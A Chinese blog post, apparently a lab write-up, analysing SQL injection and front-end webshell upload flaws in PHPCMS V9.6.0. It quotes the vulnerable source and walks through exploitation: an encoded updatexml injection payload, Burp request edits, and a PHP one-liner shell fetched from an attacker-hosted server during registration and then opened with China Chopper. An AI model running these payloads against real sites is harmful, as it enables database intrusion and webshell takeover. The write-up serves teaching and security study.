HPCMS是一款网站管理软件。该软件采用模块化开发,支持多种分类方式,使用它可方便实现个性化网站的设计、开发与维护。它支持众多的程序组合,可轻松实现网站平台迁移,并可广泛满足各种规模的网站需求.

PHPCMS9.6.0最新版SQL注入和前台GETSHELL漏洞分析

实验目的

了解PHPCMS V9.6.0注入漏洞的原理和实战

了解PHPCMS V9.6.0 任意文件上传漏洞原理

掌握HPCMS V9.6.0 任意文件上传漏洞利用方法

实验工具

  • Tools.zip:本次所使用的工具包,包括hfs、一句话及poc
  • Chrome:谷歌出品的一个浏览器
  • Burp Suite: 可以实现对HTTP的抓包改包的工具
  • SwitchyOmega:Chrome的代理设置插件
  • HFS:Windows下简易的HTTP服务器
  • poc.txt:漏洞利用的POC
  • shell.txt:php的一句话,密码为a
  • sql.txt:sql注入的部分语句

漏洞原理

SQL注入漏洞原理

在/phpcms安装目录/modules/attachment/attachments.php中,241行GET提交src变量带上了safe_relace函数。

而在/phpcms安装目录/libs/functions/global.func.php中

img

函数safe_replace对输入进行了较多的替换,像% 27、 %2027都会被替换,但是此函数如果只执行一次,那么就可以传入%*27,经过程序处理后就得到了''为url编码,实际为单引号)。

而注入点发生在/phpcms安装目录/modules/content/down.php中,

public function init() {
        $a_k = trim($_GET['a_k']);
        if(!isset($a_k)) showmessage(L('illegal_parameters'));
        $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
        if(empty($a_k)) showmessage(L('illegal_parameters'));
        unset($i,$m,$f);
        parse_str($a_k);
        if(isset($i)) $i = $id = intval($i);
        if(!isset($m)) showmessage(L('illegal_parameters'));
        if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
        if(empty($f)) showmessage(L('url_invalid'));
        $allow_visitor = 1;
        $MODEL = getcache('model','commons');

在代码中可以看到将a_k变量进行了decode操作。这样会把刚刚在src进行加密的SQL传入a_k,服务器会进行解密并还原回json。

将json字符串通过函数parse_str解析成变量。

parse_str() 函数把查询字符串解析到变量中。

注释:如果未设置 array 参数,则由该函数设置的变量将覆盖到已存在的同名变量。可形成变量覆盖。

将字符串解析成3个变量最后传入SQL为:{"aid":1,"src":"&id=' updatexml(1,concat(1,(user)),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}此处可以发现之前%27的符号已经消失。因为已经被安全函数处理掉了*。此时造成SQL注入。

GETSHELL漏洞原理

触发代码定位

根据漏洞的POC/phpcms/index.php?m=member&c=index&a=register&siteid=1判断,漏洞触发点的入口位于/phpcms/modules/member/index.php文件中的register()方法中,img标签的src属性是在执行完下面的get()函数:

$user_model_info = $member_input->get($_POST['info'])
跟进分析

跟进该函数,该函数位于/phpcms/modules/member/fields/member_input.class.php,相关代码如下:

function get($data) {
    $this->data = $data = trim_script($data);
    $model_cache = getcache('member_model', 'commons');
    $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];
    $info = array();
    $debar_filed = array('catid','title','style','thumb','status','islink','description');
    if(is_array($data)) {
        foreach($data as $field=>$value) {
            if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
            $field = safe_replace($field);
            $name = $this->fields[$field]['name'];
            $minlength = $this->fields[$field]['minlength'];
            $maxlength = $this->fields[$field]['maxlength'];
            $pattern = $this->fields[$field]['pattern'];
            $errortips = $this->fields[$field]['errortips'];
            if(empty($errortips)) $errortips = "$name 不符合要求!";
            $length = empty($value) ? 0 : strlen($value);
            if($minlength && $length < $minlength && !$isimport) showmessage(&quot;$name 不得少于 $minlength 个字符!&quot;);
            if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
            if($maxlength && $length > $maxlength && !$isimport) {
                showmessage(&quot;$name 不得超过 $maxlength 个字符!&quot;);
            } else {
                str_cut($value, $maxlength);
            }
            if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
                        if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage(&quot;$name 的值不得重复!&quot;);
            $func = $this->fields[$field]['formtype'];
            if(method_exists($this, $func)) $value = $this->$func($field, $value);

            $info[$field] = $value;
        }
    }
    return $info;
}

代码整体比较容易,可能比较难理解的就是$this->fields这个参数,这个参数是初始化类member_input是插入的,这个参数分析起来比较繁琐,主要是对PHPCMS架构不熟,那就在此走点捷径吧,在1中,直接将初始化完成后的member_inputdump出来,效果还不错,所有的参数都dump到页面上了,下面主要摘取比较重要的$this->fields[$field],即:$this->fields[&quot;content&quot;]这个参数,如下所示:

[&quot;content&quot;]=>
    array(35) {
      [&quot;fieldid&quot;]=>
      string(2) &quot;90&quot;
      [&quot;modelid&quot;]=>
      string(2) &quot;11&quot;
      [&quot;siteid&quot;]=>
      string(1) &quot;1&quot;
      [&quot;field&quot;]=>
      string(7) &quot;content&quot;
      [&quot;name&quot;]=>
      string(6) &quot;内容&quot;
      [&quot;tips&quot;]=>
      string(407) &quot;<div class=&quot;content_attr&quot;><label>&lt;input name=&quot;add_introduce&quot; type=&quot;checkbox&quot;  value=&quot;1&quot; checked&gt;是否截取内容</label>&lt;input type=&quot;text&quot; name=&quot;introcude_length&quot; value=&quot;200&quot; size=&quot;3&quot;&gt;字符至内容摘要
<label>&lt;input type='checkbox' name='auto_thumb' value=&quot;1&quot; checked&gt;是否获取内容第</label>&lt;input type=&quot;text&quot; name=&quot;auto_thumb_no&quot; value=&quot;1&quot; size=&quot;2&quot; class=&quot;&quot;&gt;张图片作为标题图片
</div>&quot;
      [&quot;css&quot;]=>
      string(0) &quot;&quot;
      [&quot;minlength&quot;]=>
      string(1) &quot;0&quot;
      [&quot;maxlength&quot;]=>
      string(6) &quot;999999&quot;
      [&quot;pattern&quot;]=>
      string(0) &quot;&quot;
      [&quot;errortips&quot;]=>
      string(18) &quot;内容不能为空&quot;
      [&quot;formtype&quot;]=>
      string(6) &quot;editor&quot;
      [&quot;setting&quot;]=>
      string(199) &quot;array (
  'toolbar' => 'full',
  'defaultvalue' => '',
  'enablekeylink' => '1',
  'replacenum' => '2',
  'link_mode' => '0',
  'enablesaveimage' => '1',
  'height' => '',
  'disabled_page' => '0',
)&quot;
      [&quot;formattribute&quot;]=>
      string(0) &quot;&quot;
      [&quot;unsetgroupids&quot;]=>
      string(0) &quot;&quot;
      [&quot;unsetroleids&quot;]=>
      string(0) &quot;&quot;
      [&quot;iscore&quot;]=>
      string(1) &quot;0&quot;
      [&quot;issystem&quot;]=>
      string(1) &quot;0&quot;
      [&quot;isunique&quot;]=>
      string(1) &quot;0&quot;
      [&quot;isbase&quot;]=>
      string(1) &quot;1&quot;
      [&quot;issearch&quot;]=>
      string(1) &quot;0&quot;
      [&quot;isadd&quot;]=>
      string(1) &quot;1&quot;
      [&quot;isfulltext&quot;]=>
      string(1) &quot;1&quot;
      [&quot;isposition&quot;]=>
      string(1) &quot;0&quot;
      [&quot;listorder&quot;]=>
      string(2) &quot;13&quot;
      [&quot;disabled&quot;]=>
      string(1) &quot;0&quot;
      [&quot;isomnipotent&quot;]=>
      string(1) &quot;0&quot;
      [&quot;toolbar&quot;]=>
      string(4) &quot;full&quot;
      [&quot;defaultvalue&quot;]=>
      string(0) &quot;&quot;
      [&quot;enablekeylink&quot;]=>
      string(1) &quot;1&quot;
      [&quot;replacenum&quot;]=>
      string(1) &quot;2&quot;
      [&quot;link_mode&quot;]=>
      string(1) &quot;0&quot;
      [&quot;enablesaveimage&quot;]=>
      string(1) &quot;1&quot;
      [&quot;height&quot;]=>
      string(0) &quot;&quot;
      [&quot;disabled_page&quot;]=>
      string(1) &quot;0&quot;
    }

基于上面提交的参数,我们接下来分析过程就容易多了,漏洞的触发函数在倒数6、7两行,代码如下:

$func = $this->field[$field]['fromtype'];
if(method_exist($this, $func)) $value = $this->$func($filed, $value);
跟进后续函数

editor()函数位于/phpcms/modules/member/fields/editor/imput.inc.php文件中,代码如下:

function editor($field, $value) {
    $setting = string2array($this->fields[$field]['setting']);
    $enablesaveimage = $setting['enablesaveimage'];
    if(isset($_POST['spider_img'])) $enablesaveimage = 0;
    if($enablesaveimage) {
        $site_setting = string2array($this->site_config['setting']);
        $watermark_enable = intval($site_setting['watermark_enable']);
        $value = $this->attachment->download('content', $value, $watermark_enable);
    }
    return $value;
}

简单阅读代码,发现实际的触发流程发生在$this->attachment->download()函数中,直接跟进这个函数,这个函数位于/phpcms/libs/classes/attachment.class.phpdownload()函数,关键代码如下

              $string = new_stripslashes($value);
if(!preg_match_all(&quot;/(href|src)=([\&quot;|']?)([^ \&quot;'>]+\.($ext))\\2/i&quot;, $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
 if(strpos($matche, '://') === false) continue;
 dir_create($uploaddir);
 $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
                      if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
 $filename = fileext($file);
 $file_name = basename($file);
 $filename = $this->getname($filename);

 $newfile = $uploaddir.$filename;
 $upload_func = $this->upload_func;
 if($upload_func($file, $newfile)) {

代码主要是进行一些正则过滤等等操作,这里真正关键的是代码的最后一行的操作$upload_func($file, $newfile),其中$this->upload_func = ‘copy’;,写的在明白点就是copy($file, $newfile),漏洞本质就是copy操作造成的,当我们传入一个$file之后,程序会请求该file并copy到对应目录$newfile所以引发了漏洞。

可以看到因为是注册用户这里所引发的问题,所以我们每次只能注册一个用户,我们可以修改不同的用户名、邮箱及昵称来多次尝试

实验环境(来自于i春秋在线实验环境)

  • 操作机:WinXP
  • IP:172.16.11.2(虚拟)
  • 目标机:Debian Linux 8
  • IP:172.16.12.2(虚拟)

工具地址:file.ichunqiu.com/6rFovxFf

实验步骤

快速查找实验工具

  • 打开桌面 Everything 搜索工具,输入实验工具名称,右击选择“打开路径”,跳转实验工具所在位置。
  • 以查找BURP为例为大家演示。 img

注:本实验分为两大部分,步骤1~步骤4讲解SQL注入漏洞,步骤5讲解文件上传漏洞

步骤1:关闭WinXP的防火墙

工具地址:file.ichunqiu.com/6rFovxFf

  • 依次点击开始—>控制面板—>安全中心—>Windows 防火墙—>关闭(不推荐)—>确定 (此实验可以省略此步骤)

1592979475939

步骤2:安装及设置Chrome的代理插件

打开Chrome,依次点击右上角的设置图标(三个横线)—>设置—>扩展程序—>将SwitchyOmega.crx拖入Chrome—>点击添加

安装图

安装完成之后点击插件上的选项,进入插件的设置,修改情景模式中的proxy代理服务器localhost,然后应用选项即可

修改情景模式

步骤3:验证SQL注入漏洞

设置Chrome的代理为proxy,首先访问http://172.16.12.2/index.php,此时BurpSuite会拦截到该请求包,右键-Send to Repeater,将GET参数后面的地址改为/index.php?m=wap&c=index&a=init&siteid=1,点击Go进行发包,然后把获取到的cookie的值记录下来。

1592980121424

然后将GET后面的地址改为

/index.php?m=attachment&amp;c=attachments&amp;a=swfupload_json&amp;aid=1&amp;src=%26id=%*2720and20updatexml%2812Cconcat%2812C%28user%282929292C1%292326m%3D1%26f3Dhaha%26modelid%3D2%26catid%3D7%26

注意:代码在工具包中 sql.txt (工具下载地址为172.16.12.2)

此句话为注入语句,经过url编码。解码后为

/index.php?m=attachment&amp;c=attachments&amp;a=swfupload_json&amp;aid=1&amp;src=&amp;id=%*27 and updatexml(1,concat(1,(user())),1)#&amp;m=1&amp;f=haha&amp;modelid=2&amp;catid=7&amp;
  • 在Request选项卡中右键-Change request method,改为POST传输,并在包中构造userid_flash=刚刚获取到的cookie值,点击Go进行发包,获得通过json再通过cookie加密的SQL语句。

1592983115653

1592983085990

传入到a_k变量

将POST的地址修改为/index.php?m=content&amp;c=down&amp;a_k=

在a_k中填入在上面得到的经过json后的sql语句,点击发包。此时可以看到回显中出现了Mysql的报错信息,证明存在注入。

1592983217824

步骤4:验证GETSHELL漏洞

打开工具中的hfs.exe,打开以后会在右下角出现HFS图标双击该图标打开主窗口,然后将shell.txt拖入主窗口即可

在本次实验环境中的实际地址为(http://172.16.11.2)

img

访问目标站点,改包并提交

打开目标网址http://172.16.12.2/,点击注册,到达注册页面,设置Chrome的代理为proxy,即为我们的Burp,然后填写表单,完成之后点击提交注册

1592981722560

然后可以看到Burp已经拦截到数据,点击Action将数据发送到Repeater

1592981913889

打开poc.txt,将Burp的POST内容用poc.txt中的替换掉,把里面img标签的src属性中的链接地址替换为本地搭建的地址,点击go显示请求数据然后修改用户名和邮箱,再次单击go查看返回信息,再次修改用户名,密码和邮箱,然后再次点击Go发送 (本次实验中为http://172.16.11.2/shell.txt(注意:请不要完全按照图片操作,这个根据自己的实际情况替换)

1592982562379

然后看到返回了shell的地址,打开中国菜刀,直接连接即可。

1592982640797

1592982619704


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!

kindeditor4.1.5文件上传漏洞 Next